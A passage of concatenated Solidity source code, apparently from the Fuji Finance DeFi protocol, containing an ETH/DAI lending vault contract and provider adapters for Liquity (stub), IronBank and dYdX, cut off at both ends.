Comply with AggregatorV3Interface) * @param _oracle: new Oracle address */ function setOracle(address _oracle) external isAuthorized { oracle = AggregatorV3Interface(_oracle); } /** * @dev Set providers to the Vault * @param _providers: new providers' addresses */ function setProviders(address[] calldata _providers) external isAuthorized { providers = _providers; } /** * @dev External Function to call updateState in F1155 */ function updateF1155Balances() public override { uint256 borrowBals; uint256 depositBals; // take into account all balances across providers uint256 length = providers.length; for (uint256 i = 0; i < length; i++) { borrowBals = borrowBals.add(IProvider(providers[i]).getBorrowBalance(vAssets.borrowAsset)); } for (uint256 i = 0; i < length; i++) { depositBals = depositBals.add( IProvider(providers[i]).getDepositBalance(vAssets.collateralAsset) ); } IFujiERC1155(fujiERC1155).updateState(vAssets.borrowID, borrowBals); IFujiERC1155(fujiERC1155).updateState(vAssets.collateralID, depositBals); } //Getter Functions /** * @dev Returns an array of the Vault's providers */ function getProviders() external view override returns (address[] memory) { return providers; } /** * @dev Returns an amount to be paid as bonus for liquidation * @param _amount: Vault underlying type intended to be liquidated * @param _flash: Flash or classic type of liquidation, bonus differs */ function getLiquidationBonusFor(uint256 _amount, bool _flash) external view override returns (uint256) { if (_flash) { // Bonus Factors for Flash Liquidation (uint64 a, uint64 b) = _fujiAdmin.getBonusFlashL(); return _amount.mul(a).div(b); } else { //Bonus Factors for Normal Liquidation (uint64 a, uint64 b) = _fujiAdmin.getBonusLiq(); return _amount.mul(a).div(b); } } /** * @dev Returns the amount of collateral needed, including or not safety factors * @param _amount: Vault underlying type intended to be borrowed * @param _withFactors: Inidicate if computation should include safety_Factors */ function getNeededCollateralFor(uint256 _amount, bool _withFactors) public view override returns (uint256) { // Get price of USDC in ETH (, int256 latestPrice, , , ) = oracle.latestRoundData(); uint256 minimumReq = (_amount.mul(1e12).mul(uint256(latestPrice))).div(_BASE); if (_withFactors) { return minimumReq.mul(collatF.a).mul(safetyF.a).div(collatF.b).div(safetyF.b); } else { return minimumReq; } } /** * @dev Returns the borrow balance of the Vault's underlying at a particular provider * @param _provider: address of a provider */ function borrowBalance(address _provider) external view override returns (uint256) { return IProvider(_provider).getBorrowBalance(vAssets.borrowAsset); } /** * @dev Returns the deposit balance of the Vault's type collateral at a particular provider * @param _provider: address of a provider */ function depositBalance(address _provider) external view override returns (uint256) { return IProvider(_provider).getDepositBalance(vAssets.collateralAsset); } /** * @dev Harvests the Rewards from baseLayer Protocols * @param _farmProtocolNum: number per VaultHarvester Contract for specific farm */ function harvestRewards(uint256 _farmProtocolNum) external onlyOwner { address tokenReturned = IVaultHarvester(_fujiAdmin.getVaultHarvester()).collectRewards(_farmProtocolNum); uint256 tokenBal = IERC20(tokenReturned).balanceOf(address(this)); require(tokenReturned != address(0) && tokenBal > 0, Errors.VL_HARVESTING_FAILED); IERC20(tokenReturned).uniTransfer(payable(_fujiAdmin.getTreasury()), tokenBal); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.12 <0.8.0; pragma experimental ABIEncoderV2; import { IVault } from "./IVault.sol"; import { VaultBase } from "./VaultBase.sol"; import { IFujiAdmin } from "../IFujiAdmin.sol"; import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import { AggregatorV3Interface } from "@chainlink/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { IFujiERC1155 } from "../FujiERC1155/IFujiERC1155.sol"; import { IProvider } from "../Providers/IProvider.sol"; import { IAlphaWhiteList } from "../IAlphaWhiteList.sol"; import { Errors } from "../Libraries/Errors.sol"; interface IVaultHarvester { function collectRewards(uint256 _farmProtocolNum) external returns (address claimedToken); } contract VaultETHDAI is IVault, VaultBase, ReentrancyGuard { uint256 internal constant _BASE = 1e18; struct Factor { uint64 a; uint64 b; } // Safety factor Factor public safetyF; // Collateralization factor Factor public collatF; //State variables address[] public providers; address public override activeProvider; IFujiAdmin private _fujiAdmin; address public override fujiERC1155; AggregatorV3Interface public oracle; modifier isAuthorized() { require( msg.sender == owner() || msg.sender == _fujiAdmin.getController(), Errors.VL_NOT_AUTHORIZED ); _; } modifier onlyFlash() { require(msg.sender == _fujiAdmin.getFlasher(), Errors.VL_NOT_AUTHORIZED); _; } constructor() public { vAssets.collateralAsset = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); // ETH vAssets.borrowAsset = address(0x6B175474E89094C44Da98b954EedeAC495271d0F); // DAI // 1.05 safetyF.a = 21; safetyF.b = 20; // 1.269 collatF.a = 80; collatF.b = 63; } receive() external payable {} //Core functions /** * @dev Deposits collateral and borrows underlying in a single function call from activeProvider * @param _collateralAmount: amount to be deposited * @param _borrowAmount: amount to be borrowed */ function depositAndBorrow(uint256 _collateralAmount, uint256 _borrowAmount) external payable { deposit(_collateralAmount); borrow(_borrowAmount); } /** * @dev Paybacks the underlying asset and withdraws collateral in a single function call from activeProvider * @param _paybackAmount: amount of underlying asset to be payback, pass -1 to pay full amount * @param _collateralAmount: amount of collateral to be withdrawn, pass -1 to withdraw maximum amount */ function paybackAndWithdraw(int256 _paybackAmount, int256 _collateralAmount) external payable { payback(_paybackAmount); withdraw(_collateralAmount); } /** * @dev Deposit Vault's type collateral to activeProvider * call Controller checkrates * @param _collateralAmount: to be deposited * Emits a {Deposit} event. */ function deposit(uint256 _collateralAmount) public payable override { require(msg.value == _collateralAmount && _collateralAmount != 0, Errors.VL_AMOUNT_ERROR); // Alpha Whitelist Routine require( IAlphaWhiteList(_fujiAdmin.getaWhiteList()).whiteListRoutine( msg.sender, vAssets.collateralID, _collateralAmount, fujiERC1155 ), Errors.SP_ALPHA_WHITELIST ); // Delegate Call Deposit to current provider _deposit(_collateralAmount, address(activeProvider)); // Collateral Management IFujiERC1155(fujiERC1155).mint(msg.sender, vAssets.collateralID, _collateralAmount, ""); emit Deposit(msg.sender, vAssets.collateralAsset, _collateralAmount); } /** * @dev Withdraws Vault's type collateral from activeProvider * call Controller checkrates * @param _withdrawAmount: amount of collateral to withdraw * otherwise pass -1 to withdraw maximum amount possible of collateral (including safety factors) * Emits a {Withdraw} event. */ function withdraw(int256 _withdrawAmount) public override nonReentrant { // If call from Normal User do typical, otherwise Fliquidator if (msg.sender != _fujiAdmin.getFliquidator()) { updateF1155Balances(); // Get User Collateral in this Vault uint256 providedCollateral = IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.collateralID); // Check User has collateral require(providedCollateral > 0, Errors.VL_INVALID_COLLATERAL); // Get Required Collateral with Factors to maintain debt position healthy uint256 neededCollateral = getNeededCollateralFor( IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID), true ); uint256 amountToWithdraw = _withdrawAmount < 0 ? providedCollateral.sub(neededCollateral) : uint256(_withdrawAmount); // Check Withdrawal amount, and that it will not fall undercollaterized. require( amountToWithdraw != 0 && providedCollateral.sub(amountToWithdraw) >= neededCollateral, Errors.VL_INVALID_WITHDRAW_AMOUNT ); // Collateral Management before Withdraw Operation IFujiERC1155(fujiERC1155).burn(msg.sender, vAssets.collateralID, amountToWithdraw); // Delegate Call Withdraw to current provider _withdraw(amountToWithdraw, address(activeProvider)); // Transer Assets to User IERC20(vAssets.collateralAsset).uniTransfer(msg.sender, amountToWithdraw); emit Withdraw(msg.sender, vAssets.collateralAsset, amountToWithdraw); } else { // Logic used when called by Fliquidator _withdraw(uint256(_withdrawAmount), address(activeProvider)); IERC20(vAssets.collateralAsset).uniTransfer(msg.sender, uint256(_withdrawAmount)); } } /** * @dev Borrows Vault's type underlying amount from activeProvider * @param _borrowAmount: token amount of underlying to borrow * Emits a {Borrow} event. */ function borrow(uint256 _borrowAmount) public override nonReentrant { updateF1155Balances(); uint256 providedCollateral = IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.collateralID); // Get Required Collateral with Factors to maintain debt position healthy uint256 neededCollateral = getNeededCollateralFor( _borrowAmount.add(IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID)), true ); // Check Provided Collateral is not Zero, and greater than needed to maintain healthy position require( _borrowAmount != 0 && providedCollateral > neededCollateral, Errors.VL_INVALID_BORROW_AMOUNT ); // Debt Management IFujiERC1155(fujiERC1155).mint(msg.sender, vAssets.borrowID, _borrowAmount, ""); // Delegate Call Borrow to current provider _borrow(_borrowAmount, address(activeProvider)); // Transer Assets to User IERC20(vAssets.borrowAsset).uniTransfer(msg.sender, _borrowAmount); emit Borrow(msg.sender, vAssets.borrowAsset, _borrowAmount); } /** * @dev Paybacks Vault's type underlying to activeProvider * @param _repayAmount: token amount of underlying to repay, or pass -1 to repay full ammount * Emits a {Repay} event. */ function payback(int256 _repayAmount) public payable override { // If call from Normal User do typical, otherwise Fliquidator if (msg.sender != _fujiAdmin.getFliquidator()) { updateF1155Balances(); uint256 userDebtBalance = IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID); // Check User Debt is greater than Zero and amount is not Zero require(_repayAmount != 0 && userDebtBalance > 0, Errors.VL_NO_DEBT_TO_PAYBACK); // TODO: Get => corresponding amount of BaseProtocol Debt and FujiDebt // If passed argument amount is negative do MAX uint256 amountToPayback = _repayAmount < 0 ? userDebtBalance : uint256(_repayAmount); // Check User Allowance require( IERC20(vAssets.borrowAsset).allowance(msg.sender, address(this)) >= amountToPayback, Errors.VL_MISSING_ERC20_ALLOWANCE ); // Transfer Asset from User to Vault IERC20(vAssets.borrowAsset).transferFrom(msg.sender, address(this), amountToPayback); // Delegate Call Payback to current provider _payback(amountToPayback, address(activeProvider)); //TODO: Transfer corresponding Debt Amount to Fuji Treasury // Debt Management IFujiERC1155(fujiERC1155).burn(msg.sender, vAssets.borrowID, amountToPayback); emit Payback(msg.sender, vAssets.borrowAsset, userDebtBalance); } else { // Logic used when called by Fliquidator _payback(uint256(_repayAmount), address(activeProvider)); } } /** * @dev Changes Vault debt and collateral to newProvider, called by Flasher * @param _newProvider new provider's address * @param _flashLoanAmount amount of flashloan underlying to repay Flashloan * Emits a {Switch} event. */ function executeSwitch( address _newProvider, uint256 _flashLoanAmount, uint256 _fee ) external override onlyFlash whenNotPaused { // Compute Ratio of transfer before payback uint256 ratio = _flashLoanAmount.mul(1e18).div( IProvider(activeProvider).getBorrowBalance(vAssets.borrowAsset) ); // Payback current provider _payback(_flashLoanAmount, activeProvider); // Withdraw collateral proportional ratio from current provider uint256 collateraltoMove = IProvider(activeProvider).getDepositBalance(vAssets.collateralAsset).mul(ratio).div(1e18); _withdraw(collateraltoMove, activeProvider); // Deposit to the new provider _deposit(collateraltoMove, _newProvider); // Borrow from the new provider, borrowBalance + premium _borrow(_flashLoanAmount.add(_fee), _newProvider); // return borrowed amount to Flasher IERC20(vAssets.borrowAsset).uniTransfer(msg.sender, _flashLoanAmount.add(_fee)); emit Switch(address(this), activeProvider, _newProvider, _flashLoanAmount, collateraltoMove); } //Setter, change state functions /** * @dev Sets a new active provider for the Vault * @param _provider: fuji address of the new provider * Emits a {SetActiveProvider} event. */ function setActiveProvider(address _provider) external override isAuthorized { activeProvider = _provider; emit SetActiveProvider(_provider); } //Administrative functions /** * @dev Sets the fujiAdmin Address * @param _newFujiAdmin: FujiAdmin Contract Address */ function setFujiAdmin(address _newFujiAdmin) external onlyOwner { _fujiAdmin = IFujiAdmin(_newFujiAdmin); } /** * @dev Sets a fujiERC1155 Collateral and Debt Asset manager for this vault and initializes it. * @param _fujiERC1155: fuji ERC1155 address */ function setFujiERC1155(address _fujiERC1155) external isAuthorized { fujiERC1155 = _fujiERC1155; vAssets.collateralID = IFujiERC1155(_fujiERC1155).addInitializeAsset( IFujiERC1155.AssetType.collateralToken, address(this) ); vAssets.borrowID = IFujiERC1155(_fujiERC1155).addInitializeAsset( IFujiERC1155.AssetType.debtToken, address(this) ); } /** * @dev Set Factors "a" and "b" for a Struct Factor * For safetyF; Sets Safety Factor of Vault, should be > 1, a/b * For collatF; Sets Collateral Factor of Vault, should be > 1, a/b * @param _newFactorA: Nominator * @param _newFactorB: Denominator * @param _isSafety: safetyF or collatF */ function setFactor( uint64 _newFactorA, uint64 _newFactorB, bool _isSafety ) external isAuthorized { if (_isSafety) { safetyF.a = _newFactorA; safetyF.b = _newFactorB; } else { collatF.a = _newFactorA; collatF.b = _newFactorB; } } /** * @dev Sets the Oracle address (Must Comply with AggregatorV3Interface) * @param _oracle: new Oracle address */ function setOracle(address _oracle) external isAuthorized { oracle = AggregatorV3Interface(_oracle); } /** * @dev Set providers to the Vault * @param _providers: new providers' addresses */ function setProviders(address[] calldata _providers) external isAuthorized { providers = _providers; } /** * @dev External Function to call updateState in F1155 */ function updateF1155Balances() public override { uint256 borrowBals; uint256 depositBals; // take into balances across all providers uint256 length = providers.length; for (uint256 i = 0; i < length; i++) { borrowBals = borrowBals.add(IProvider(providers[i]).getBorrowBalance(vAssets.borrowAsset)); } for (uint256 i = 0; i < length; i++) { depositBals = depositBals.add( IProvider(providers[i]).getDepositBalance(vAssets.collateralAsset) ); } IFujiERC1155(fujiERC1155).updateState(vAssets.borrowID, borrowBals); IFujiERC1155(fujiERC1155).updateState(vAssets.collateralID, depositBals); } //Getter Functions /** * @dev Returns an array of the Vault's providers */ function getProviders() external view override returns (address[] memory) { return providers; } /** * @dev Returns an amount to be paid as bonus for liquidation * @param _amount: Vault underlying type intended to be liquidated * @param _flash: Flash or classic type of liquidation, bonus differs */ function getLiquidationBonusFor(uint256 _amount, bool _flash) external view override returns (uint256) { if (_flash) { // Bonus Factors for Flash Liquidation (uint64 a, uint64 b) = _fujiAdmin.getBonusFlashL(); return _amount.mul(a).div(b); } else { //Bonus Factors for Normal Liquidation (uint64 a, uint64 b) = _fujiAdmin.getBonusLiq(); return _amount.mul(a).div(b); } } /** * @dev Returns the amount of collateral needed, including or not safety factors * @param _amount: Vault underlying type intended to be borrowed * @param _withFactors: Inidicate if computation should include safety_Factors */ function getNeededCollateralFor(uint256 _amount, bool _withFactors) public view override returns (uint256) { // Get price of DAI in ETH (, int256 latestPrice, , , ) = oracle.latestRoundData(); uint256 minimumReq = (_amount.mul(uint256(latestPrice))).div(_BASE); if (_withFactors) { return minimumReq.mul(collatF.a).mul(safetyF.a).div(collatF.b).div(safetyF.b); } else { return minimumReq; } } /** * @dev Returns the borrow balance of the Vault's underlying at a particular provider * @param _provider: address of a provider */ function borrowBalance(address _provider) external view override returns (uint256) { return IProvider(_provider).getBorrowBalance(vAssets.borrowAsset); } /** * @dev Returns the deposit balance of the Vault's type collateral at a particular provider * @param _provider: address of a provider */ function depositBalance(address _provider) external view override returns (uint256) { return IProvider(_provider).getDepositBalance(vAssets.collateralAsset); } /** * @dev Harvests the Rewards from baseLayer Protocols * @param _farmProtocolNum: number per VaultHarvester Contract for specific farm */ function harvestRewards(uint256 _farmProtocolNum) external onlyOwner { address tokenReturned = IVaultHarvester(_fujiAdmin.getVaultHarvester()).collectRewards(_farmProtocolNum); uint256 tokenBal = IERC20(tokenReturned).balanceOf(address(this)); require(tokenReturned != address(0) && tokenBal > 0, Errors.VL_HARVESTING_FAILED); IERC20(tokenReturned).uniTransfer(payable(_fujiAdmin.getTreasury()), tokenBal); } } // SPDX-License-Identifier: MIT pragma solidity >=0.4.25 <0.8.0; pragma experimental ABIEncoderV2; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; import { UniERC20 } from "../Libraries/LibUniERC20.sol"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { IProvider } from "./IProvider.sol"; interface LQTYInterface {} contract LQTYHelpers { function _initializeTrouve() internal { //TODO function } } contract ProviderLQTY is IProvider, LQTYHelpers { using SafeMath for uint256; using UniERC20 for IERC20; function deposit(address collateralAsset, uint256 collateralAmount) external payable override { collateralAsset; collateralAmount; //TODO } function borrow(address borrowAsset, uint256 borrowAmount) external payable override { borrowAsset; borrowAmount; //TODO } function withdraw(address collateralAsset, uint256 collateralAmount) external payable override { collateralAsset; collateralAmount; //TODO } function payback(address borrowAsset, uint256 borrowAmount) external payable override { borrowAsset; borrowAmount; //TODO } function getBorrowRateFor(address asset) external view override returns (uint256) { asset; //TODO return 0; } function getBorrowBalance(address _asset) external view override returns (uint256) { _asset; //TODO return 0; } function getBorrowBalanceOf(address _asset, address _who) external override returns (uint256) { _asset; _who; //TODO return 0; } function getDepositBalance(address _asset) external view override returns (uint256) { _asset; //TODO return 0; } } // SPDX-License-Identifier: MIT pragma solidity >=0.4.25 <0.7.5; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; import { UniERC20 } from "../Libraries/LibUniERC20.sol"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { IProvider } from "./IProvider.sol"; interface IGenCyToken is IERC20 { function redeem(uint256) external returns (uint256); function redeemUnderlying(uint256) external returns (uint256); function borrow(uint256 borrowAmount) external returns (uint256); function exchangeRateCurrent() external returns (uint256); function exchangeRateStored() external view returns (uint256); function borrowRatePerBlock() external view returns (uint256); function balanceOfUnderlying(address owner) external returns (uint256); function getAccountSnapshot(address account) external view returns ( uint256, uint256, uint256, uint256 ); function totalBorrowsCurrent() external returns (uint256); function borrowBalanceCurrent(address account) external returns (uint256); function borrowBalanceStored(address account) external view returns (uint256); function getCash() external view returns (uint256); } interface IWeth is IERC20 { function deposit() external payable; function withdraw(uint256 wad) external; } interface ICyErc20 is IGenCyToken { function mint(uint256) external returns (uint256); function repayBorrow(uint256 repayAmount) external returns (uint256); function repayBorrowBehalf(address borrower, uint256 repayAmount) external returns (uint256); } interface IComptroller { function markets(address) external returns (bool, uint256); function enterMarkets(address[] calldata) external returns (uint256[] memory); function exitMarket(address cyTokenAddress) external returns (uint256); function getAccountLiquidity(address) external view returns ( uint256, uint256, uint256 ); } interface IFujiMappings { function addressMapping(address) external view returns (address); } contract HelperFunct { function _isETH(address token) internal pure returns (bool) { return (token == address(0) || token == address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)); } function _getMappingAddr() internal pure returns (address) { return 0x17525aFdb24D24ABfF18108E7319b93012f3AD24; } function _getComptrollerAddress() internal pure returns (address) { return 0xAB1c342C7bf5Ec5F02ADEA1c2270670bCa144CbB; } //IronBank functions /** * @dev Approves vault's assets as collateral for IronBank Protocol. * @param _cyTokenAddress: asset type to be approved as collateral. */ function _enterCollatMarket(address _cyTokenAddress) internal { // Create a reference to the corresponding network Comptroller IComptroller comptroller = IComptroller(_getComptrollerAddress()); address[] memory cyTokenMarkets = new address[](1); cyTokenMarkets[0] = _cyTokenAddress; comptroller.enterMarkets(cyTokenMarkets); } /** * @dev Removes vault's assets as collateral for IronBank Protocol. * @param _cyTokenAddress: asset type to be removed as collateral. */ function _exitCollatMarket(address _cyTokenAddress) internal { // Create a reference to the corresponding network Comptroller IComptroller comptroller = IComptroller(_getComptrollerAddress()); comptroller.exitMarket(_cyTokenAddress); } } contract ProviderIronBank is IProvider, HelperFunct { using SafeMath for uint256; using UniERC20 for IERC20; //Provider Core Functions /** * @dev Deposit ETH/ERC20_Token. * @param _asset: token address to deposit. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) * @param _amount: token amount to deposit. */ function deposit(address _asset, uint256 _amount) external payable override { //Get cyToken address from mapping address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset); //Enter and/or ensure collateral market is enacted _enterCollatMarket(cyTokenAddr); if (_isETH(_asset)) { // Transform ETH to WETH IWeth(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2).deposit{ value: _amount }(); _asset = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); } // Create reference to the ERC20 contract IERC20 erc20token = IERC20(_asset); // Create a reference to the cyToken contract ICyErc20 cyToken = ICyErc20(cyTokenAddr); //Checks, Vault balance of ERC20 to make deposit require(erc20token.balanceOf(address(this)) >= _amount, "Not enough Balance"); //Approve to move ERC20tokens erc20token.uniApprove(address(cyTokenAddr), _amount); // IronBank Protocol mints cyTokens, trhow error if not require(cyToken.mint(_amount) == 0, "Deposit-failed"); } /** * @dev Withdraw ETH/ERC20_Token. * @param _asset: token address to withdraw. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) * @param _amount: token amount to withdraw. */ function withdraw(address _asset, uint256 _amount) external payable override { //Get cyToken address from mapping address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset); // Create a reference to the corresponding cyToken contract IGenCyToken cyToken = IGenCyToken(cyTokenAddr); //IronBank Protocol Redeem Process, throw errow if not. require(cyToken.redeemUnderlying(_amount) == 0, "Withdraw-failed"); if (_isETH(_asset)) { // Transform ETH to WETH IWeth(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2).withdraw(_amount); } } /** * @dev Borrow ETH/ERC20_Token. * @param _asset token address to borrow.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) * @param _amount: token amount to borrow. */ function borrow(address _asset, uint256 _amount) external payable override { //Get cyToken address from mapping address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset); // Create a reference to the corresponding cyToken contract IGenCyToken cyToken = IGenCyToken(cyTokenAddr); //Enter and/or ensure collateral market is enacted //_enterCollatMarket(cyTokenAddr); //IronBank Protocol Borrow Process, throw errow if not. require(cyToken.borrow(_amount) == 0, "borrow-failed"); } /** * @dev Payback borrowed ETH/ERC20_Token. * @param _asset token address to payback.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) * @param _amount: token amount to payback. */ function payback(address _asset, uint256 _amount) external payable override { //Get cyToken address from mapping address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset); if (_isETH(_asset)) { // Transform ETH to WETH IWeth(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2).deposit{ value: _amount }(); _asset = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); } // Create reference to the ERC20 contract IERC20 erc20token = IERC20(_asset); // Create a reference to the corresponding cyToken contract ICyErc20 cyToken = ICyErc20(cyTokenAddr); // Check there is enough balance to pay require(erc20token.balanceOf(address(this)) >= _amount, "Not-enough-token"); erc20token.uniApprove(address(cyTokenAddr), _amount); cyToken.repayBorrow(_amount); } /** * @dev Returns the current borrowing rate (APR) of a ETH/ERC20_Token, in ray(1e27). * @param _asset: token address to query the current borrowing rate. */ function getBorrowRateFor(address _asset) external view override returns (uint256) { address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset); //Block Rate transformed for common mantissa for Fuji in ray (1e27), Note: IronBank uses base 1e18 uint256 bRateperBlock = (IGenCyToken(cyTokenAddr).borrowRatePerBlock()).mul(10**9); // The approximate number of blocks per year that is assumed by the IronBank interest rate model uint256 blocksperYear = 2102400; return bRateperBlock.mul(blocksperYear); } /** * @dev Returns the borrow balance of a ETH/ERC20_Token. * @param _asset: token address to query the balance. */ function getBorrowBalance(address _asset) external view override returns (uint256) { address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset); return IGenCyToken(cyTokenAddr).borrowBalanceStored(msg.sender); } /** * @dev Return borrow balance of ETH/ERC20_Token. * This function is the accurate way to get IronBank borrow balance. * It costs ~84K gas and is not a view function. * @param _asset token address to query the balance. * @param _who address of the account. */ function getBorrowBalanceOf(address _asset, address _who) external override returns (uint256) { address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset); return IGenCyToken(cyTokenAddr).borrowBalanceCurrent(_who); } /** * @dev Returns the deposit balance of a ETH/ERC20_Token. * @param _asset: token address to query the balance. */ function getDepositBalance(address _asset) external view override returns (uint256) { address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset); uint256 cyTokenBal = IGenCyToken(cyTokenAddr).balanceOf(msg.sender); uint256 exRate = IGenCyToken(cyTokenAddr).exchangeRateStored(); return exRate.mul(cyTokenBal).div(1e18); } } // SPDX-License-Identifier: MIT pragma solidity >=0.4.25 <0.7.5; pragma experimental ABIEncoderV2; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; import { UniERC20 } from "../Libraries/LibUniERC20.sol"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { IProvider } from "./IProvider.sol"; interface IWethERC20 is IERC20 { function deposit() external payable; function withdraw(uint256) external; } interface SoloMarginContract { struct Info { address owner; uint256 number; } struct Price { uint256 value; } struct Value { uint256 value; } struct Rate { uint256 value; } enum ActionType { Deposit, Withdraw, Transfer, Buy, Sell, Trade, Liquidate, Vaporize, Call } enum AssetDenomination { Wei, Par } enum AssetReference { Delta, Target } struct AssetAmount { bool sign; AssetDenomination denomination; AssetReference ref; uint256 value; } struct ActionArgs { ActionType actionType; uint256 accountId; AssetAmount amount; uint256 primaryMarketId; uint256 secondaryMarketId; address otherAddress; uint256 otherAccountId; bytes data; } struct Wei { bool sign; uint256 value; } function operate(Info[] calldata _accounts, ActionArgs[] calldata _actions) external; function getAccountWei(Info calldata _account, uint256 _marketId) external view returns (Wei memory); function getNumMarkets() external view returns (uint256); function getMarketTokenAddress(uint256 _marketId) external view returns (address); function getAccountValues(Info memory _account) external view returns (Value memory, Value memory); function getMarketInterestRate(uint256 _marketId) external view returns (Rate memory); } contract HelperFunct { /** * @dev get Dydx Solo Address */ function getDydxAddress() public pure returns (address addr) { addr = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e; } /** * @dev get WETH address */ function getWETHAddr() public pure returns (address weth) { weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; } /** * @dev Return ethereum address */ function _getEthAddr() internal pure returns (address) { return 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // ETH Address } /** * @dev Get Dydx Market ID from token Address */ function _getMarketId(SoloMarginContract _solo, address _token) internal view returns (uint256 _marketId) { uint256 markets = _solo.getNumMarkets(); address token = _token == _getEthAddr() ? getWETHAddr() : _token; bool check = false; for (uint256 i = 0; i < markets; i++) { if (token == _solo.getMarketTokenAddress(i)) { _marketId = i; check = true; break; } } require(check, "DYDX Market doesnt exist!"); } /** * @dev Get Dydx Acccount arg */ function _getAccountArgs() internal view returns (SoloMarginContract.Info[] memory) { SoloMarginContract.Info[] memory accounts = new SoloMarginContract.Info[](1); accounts[0] = (SoloMarginContract.Info(address(this), 0)); return accounts; } /** * @dev Get Dydx Actions args. */ function _getActionsArgs( uint256 _marketId, uint256 _amt, bool _sign ) internal view returns (SoloMarginContract.ActionArgs[] memory) { SoloMarginContract.ActionArgs[] memory actions = new SoloMarginContract.ActionArgs[](1); SoloMarginContract.AssetAmount memory amount = SoloMarginContract.AssetAmount( _sign, SoloMarginContract.AssetDenomination.Wei, SoloMarginContract.AssetReference.Delta, _amt ); bytes memory empty; SoloMarginContract.ActionType action = _sign ? SoloMarginContract.ActionType.Deposit : SoloMarginContract.ActionType.Withdraw; actions[0] = SoloMarginContract.ActionArgs( action, 0, amount, _marketId, 0, address(this), 0, empty ); return actions; } } contract ProviderDYDX is IProvider, HelperFunct { using SafeMath for uint256; using UniERC20 for IERC20; bool public donothing = true; //Provider Core Functions /** * @dev Deposit ETH/ERC20_Token. * @param _asset: token address to deposit. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) * @param _amount: token amount to deposit. */ function deposit(address _asset, uint256 _amount) external payable override { SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress()); uint256 marketId = _getMarketId(dydxContract, _asset); if (_asset == _getEthAddr()) { IWethERC20 tweth = IWethERC20(getWETHAddr()); tweth.deposit{ value: _amount }(); tweth.approve(getDydxAddress(), _amount); } else { IWethERC20 tweth = IWethERC20(_asset); tweth.approve(getDydxAddress(), _amount); } dydxContract.operate(_getAccountArgs(), _getActionsArgs(marketId, _amount, true)); } /** * @dev Withdraw ETH/ERC20_Token. * @param _asset: token address to withdraw. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) * @param _amount: token amount to withdraw. */ function withdraw(address _asset, uint256 _amount) external payable override { SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress()); uint256 marketId = _getMarketId(dydxContract, _asset); dydxContract.operate(_getAccountArgs(), _getActionsArgs(marketId, _amount, false)); if (_asset == _getEthAddr()) { IWethERC20 tweth = IWethERC20(getWETHAddr()); tweth.approve(address(tweth), _amount); tweth.withdraw(_amount); } } /** * @dev Borrow ETH/ERC20_Token. * @param _asset token address to borrow.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) * @param _amount: token amount to borrow. */ function borrow(address _asset, uint256 _amount) external payable override { SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress()); uint256 marketId = _getMarketId(dydxContract, _asset); dydxContract.operate(_getAccountArgs(), _getActionsArgs(marketId, _amount, false)); if (_asset == _getEthAddr()) { IWethERC20 tweth = IWethERC20(getWETHAddr()); tweth.approve(address(_asset), _amount); tweth.withdraw(_amount); } } /** * @dev Payback borrowed ETH/ERC20_Token. * @param _asset token address to payback.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) * @param _amount: token amount to payback. */ function payback(address _asset, uint256 _amount) external payable override { SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress()); uint256 marketId = _getMarketId(dydxContract, _asset); if (_asset == _getEthAddr()) { IWethERC20 tweth = IWethERC20(getWETHAddr()); tweth.deposit{ value: _amount }(); tweth.approve(getDydxAddress(), _amount); } else { IWethERC20 tweth = IWethERC20(_asset); tweth.approve(getDydxAddress(), _amount); } 